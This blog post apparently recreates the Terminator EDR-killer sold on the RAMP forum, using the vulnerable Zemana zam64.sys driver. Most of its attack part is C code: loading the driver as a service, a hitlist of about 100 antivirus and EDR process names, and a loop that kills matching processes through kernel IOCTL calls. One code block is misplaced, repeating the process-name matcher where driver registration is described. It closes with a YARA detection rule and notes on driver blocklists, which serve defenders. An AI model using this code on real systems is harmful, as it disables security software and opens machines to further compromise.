Recreating the RAMP Forum EDR Bypass

Recreating the RAMP Forum EDR Bypass

A (very shitty and rushed) approximate recreation of Spyboy's EDR Terminator software

·

4 min read

Cover Illustration by mocapoca_

Last month, a guy named spyboy began advertising an EDR evasion tool for the Windows operating system via the Russian-language forum RAMP. The author claims that the software, called “Terminator”, can bypass leading EDR/AV with the software being sold from $300 for the bypass of a single EDR solution and up to $3,000 for the targeting of all EDR solutions listed.

While Twitter had a meltdown for a total of two days, insight from Crowdstrike that was shared on Reddit revealed that Terminator is less sophisticated than the entire infosec community initially thought.

The tool drops a signed Zemana Anti-Malware kernel driver (zamguard64.sys or zam64.sys) into the C:\\Windows\\System32 folders with a randomly generated name between 4 and 10 characters. Both of these drivers are well exploited, first showing up as CVE-2021-31728 which is a specific flaw inside MalwareFox Anti-Malware (a rebrand of Zemana Anti-Malware) that allows a non-privileged process to manipulate the driver and gain Ring 0 privileges. IOCTL calls that are interesting can be found on this gist.

Firstly, we would need to mount the driver by opening a handle to the Windows SCM database and starting the Zemana Antimalware Service (zam64.sys).

BOOL loadDriver(char* driverPath) {
    SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) return FALSE;

    SC_HANDLE hService = OpenServiceA(hSCM, g_serviceName, SERVICE_ALL_ACCESS);
    if (hService) {
        printf("Service already exists.\n");
        SERVICE_STATUS serviceStatus;
        if (QueryServiceStatus(hService, &serviceStatus) && serviceStatus.dwCurrentState == SERVICE_STOPPED) {
            if (!StartServiceA(hService, 0, nullptr)) {
                CloseServiceHandle(hService);
                CloseServiceHandle(hSCM);
                return FALSE;
            }
            printf("Starting service...\n");
        }
        CloseServiceHandle(hService);
    }

We can then define a hitlist of EDR processes we wanna target and search for them.

const char* const g_edrlist[] = {
    "activeconsole", "anti malware",    "anti-malware",
    "antimalware",   "anti virus",      "anti-virus",
    "antivirus",     "appsense",        "authtap",
    "avast",         "avecto",          "canary",
    "carbonblack",   "carbon black",    "cb.exe",
    "ciscoamp",      "cisco amp",       "countercept",
    "countertack",   "cramtray",        "crssvc",
    "crowdstrike",   "csagent",         "csfalcon",
    "csshell",       "cybereason",      "cyclorama",
    "cylance",       "cyoptics",        "cyupdate",
    "cyvera",        "cyserver",        "cytray",
    "darktrace",     "defendpoint",     "defender",
    "eectrl",        "elastic",         "endgame",
    "f-secure",      "forcepoint",      "fireeye",
    "groundling",    "GRRservic",       "inspector",
    "ivanti",        "kaspersky",       "lacuna",
    "logrhythm",     "malware",         "mandiant",
    "mcafee",        "morphisec",       "msascuil",
    "msmpeng",       "nissrv",          "omni",
    "omniagent",     "osquery",         "palo alto networks",
    "pgeposervice",  "pgsystemtray",    "privilegeguard",
    "procwall",      "protectorservic", "qradar",
    "redcloak",      "secureworks",     "securityhealthservice",
    "semlaunchsv",   "sentinel",        "sepliveupdat",
    "sisidsservice", "sisipsservice",   "sisipsutil",
    "smc.exe",       "smcgui",          "snac64",
    "sophos",        "splunk",          "srtsp",
    "symantec",      "symcorpu",        "symefasi",
    "sysinternal",   "sysmon",          "tanium",
    "tda.exe",       "tdawork",         "tpython",
    "vectra",        "wincollect",      "windowssensor",
    "wireshark",     "threat",          "xagt.exe",
    "xagtnotif.exe" ,"mssense" };

int g_edrlistSize = sizeof(g_edrlist) / sizeof(g_edrlist[0]);

int isInEdrlist(const char* pn) {
    char* tempv = toLowercase(pn);
    for (int i = 0; i < g_edrlistSize; i++) {
        if (strstr(tempv, g_edrlist[i]) != NULL) {
            free(tempv);
            return 1;
        }
    }
    free(tempv);
    return 0;
}

Once we have the handle to the device, we send an IOCTL request with the code 0x80002010 to register ourselves with the driver. This IOCTL call adds a requester process id to the list of trusted processes and must be called first before calling other IOCTLs).

int isInEdrlist(const char* pn) {
    char* tempv = toLowercase(pn);
    for (int i = 0; i < g_edrlistSize; i++)
        if (strstr(tempv, g_edrlist[i])) { free(tempv); return 1; }
    free(tempv);
    return 0;
}

Next we can capture a snapshot of all the processes currently active on the system using the CreateToolhelp32Snapshot function. This snapshot serves as a holistic view of the system's running processes, allowing for a systematic evaluation of each one. Subsequently, the function iterates over each process in this snapshot using a combination of Process32First and Process32Next.

As each process is accessed, its name is compared against the predefined list of known EDR processes using the isInEdrlist function. If a match is identified, indicating that the process could be an active EDR solution, it will be terminated using the DeviceIoControl function.

DWORD checkEDRProcesses(HANDLE hDevice) {
    unsigned int procId, ecount = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pE = { sizeof(pE) };
    if (Process32First(hSnap, &pE)) {
        do {
            char exeName[MAX_PATH];
            wcstombs(exeName, pE.szExeFile, MAX_PATH);
            if (isInEdrlist(exeName) && 
                !DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS, &(procId = pE.th32ProcessID),
                                 sizeof(procId), NULL, 0, NULL, NULL)) ecount++;
        } while (Process32Next(hSnap, &pE));
    }
    CloseHandle(hSnap);
    return ecount;

Bring Your Own Vulnerable Driver (BYOVD) attacks are becoming a more common entry point for malware builders to exploit, and the way to do it isn’t even really that complicated since making IOCTL calls isn’t rocket science.

While there are solutions such as the Microsoft HVCI Driver Blocklist, it’s still updated only 1-2 times per year. This is why Windows hasn’t revoked the certificate validity of the driver and also major EDR vendors haven't caught up to the issue.

Only one security vendor was able to detect the solution, Elastic EDR, which has an open-source ruleset for the driver (an absolute win for OSS btw). The fact that Elastic EDR wasn't mentioned in the RAMP forum post also says something about the importance of keeping driver blocklists up-to-date.

rule Windows_VulnDriver_Zam_928812a7 {
    meta:
        author = "Elastic Security"
        id = "928812a7-ac7c-47cf-9111-11470b661d46"
        fingerprint = "8e5db0d4fee806538929680e7d3521b111b0e09fcc3eba3c191f6787375999cc"
        creation_date = "2022-04-04"
        last_modified = "2022-04-04"
        threat_name = "Windows.VulnDriver.Zam"
        reference_sample = "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91"
        severity = 50
        arch_context = "x86"
        scan_context = "file"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $pdb_64 = "AntiMalware\\\\bin\\\\zam64.pdb"
        $pdb_32 = "AntiMalware\\\\bin\\\\zam32.pdb"
    condition:
        int16(uint32(0x3C) + 0x5c) == 0x0001 and any of ($pdb_*)
}

As these attacks become more common, the way EDR/AVs detect and block drivers need to be accelerated. Open-source projects such as LOLDrivers have thousands of vulnerable drivers, with hundreds that aren’t in the HVCI blocklist, and they also offer open-source YARA rules for detection functions.